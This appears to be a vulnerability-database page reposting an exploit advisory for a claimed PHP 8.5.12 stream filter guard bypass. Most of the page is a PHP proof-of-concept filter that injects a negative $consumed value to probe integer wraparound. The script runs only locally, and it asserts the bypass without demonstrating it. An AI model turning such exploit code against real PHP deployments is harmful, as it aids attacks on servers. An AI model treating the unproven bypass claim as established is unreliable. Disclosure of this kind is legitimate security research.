Lucene search
+L

PHP 8.5.12 Stream Filter Guard Bypass

🗓️ 03 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 10 Views

Logical guard bypass in PHP stream filter via negative $consumed value.

Code
==================================================================================================================================
| # Title     : PHP 8.5.12 Logical Guard Bypass                                                                                  |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.php.net                                                                                              |
==================================================================================================================================

[+] Summary : A PHP security research and auditing script designed to investigate stream filter behavior in PHP 8.5.12, 
              focusing on php_stream_filter_append_ex(), bucket lifecycle management, and the handling of the $consumed parameter.

[+] The script registers a custom php_user_filter that:

- Monitors filter invocations and stream bucket processing.
- Tracks consumed bytes and filter execution states.
- Injects a negative $consumed value (-1) to investigate potential integer conversion and unsigned wraparound behavior.
- Tests the three filter return statuses: PSFS_PASS_ON, PSFS_FEED_ME, and PSFS_ERR_FATAL.
- Uses pre-buffered memory streams to examine filter attachment and read-position behavior.
- Reports filter registration, append results, and remaining stream data.
Research Objective: Identify potential integer underflow, boundary-validation weaknesses, and inconsistencies in PHP stream filter lifecycle management.

[+] POC    : 

<?php

if (!defined('PSFS_PASS_ON'))  define('PSFS_PASS_ON', 2);
if (!defined('PSFS_FEED_ME'))  define('PSFS_FEED_ME', 1);
if (!defined('PSFS_ERR_FATAL')) define('PSFS_ERR_FATAL', 0);

class WeaponizedAuditFilter extends php_user_filter
{
    private int $calls = 0;

    public function filter($in, $out, &$consumed, bool $closing): int
    {
        $this->calls++;
        $inputBytes = 0;
        while ($bucket = stream_bucket_make_writeable($in)) {
            $inputBytes += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }
        echo sprintf(
            "[CALL %d] closing=%s | Buckets Data=%d bytes | consumed_type=%s\n",
            $this->calls,
            $closing ? 'true' : 'false',
            $inputBytes,
            gettype($consumed)
        );
        if ($this->calls === 1 && $consumed !== null) {
            echo "[!] Exploiting SF-001: Injecting negative consumed (-1) -> SIZE_MAX\n";
            $consumed = -1; 
        } else {
            $consumed = $inputBytes;
        }
        return (int)($this->params['status'] ?? PSFS_PASS_ON);
    }
}
stream_filter_register('audit.advanced.exploit', WeaponizedAuditFilter::class);
$selected_status = PSFS_PASS_ON;
if (isset($argv[1])) {
    switch (strtolower($argv[1])) {
        case 'feed_me':   $selected_status = PSFS_FEED_ME; break;
        case 'err_fatal': $selected_status = PSFS_ERR_FATAL; break;
        case 'pass_on':   $selected_status = PSFS_PASS_ON; break;
    }
}

echo "========================================================\n";
echo " PHP Stream Filter Audit Tool - Target: PHP 8.5.12\n";
echo " Testing Status Path: " . array_search($selected_status, ['PSFS_ERR_FATAL'=>0, 'PSFS_FEED_ME'=>1, 'PSFS_PASS_ON'=>2]) . "\n";
echo "========================================================\n\n";

$stream = fopen('php://memory', 'w+');
fwrite($stream, 'ABCDEFGH');
rewind($stream);

echo "[*] Shifting stream->readpos by reading 1 byte...\n";
$first_byte = fread($stream, 1);
echo "[+] Initial read done. readpos = 1, writepos = 8. (Condition Ready)\n\n";

echo "[*] Injecting filter and forcing pre-buffered data execution...\n";
$filter_resource = stream_filter_append(
    $stream, 
    'audit.advanced.exploit', 
    STREAM_FILTER_READ, 
    ['status' => $selected_status]
);

echo "\n[*] Checking Append Operation Result:\n";
if ($filter_resource === false) {
    echo "[-] Append Status: FAIL (PHP blocked the filter initialization / PSFS_ERR_FATAL path)\n";
} else {
    echo "[+] Append Status: SUCCESS (The Guard was bypassed or deferred)\n";
    echo "[*] Triggering stream_get_contents()...\n";
    $remaining = stream_get_contents($stream);
    echo "[+] Remaining Stream Output: '" . $remaining . "' (Length: " . strlen($remaining) . " bytes)\n";
    stream_filter_remove($filter_resource);
}

fclose($stream);
echo "\n[+] Audit cycle completed.\n";

	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
10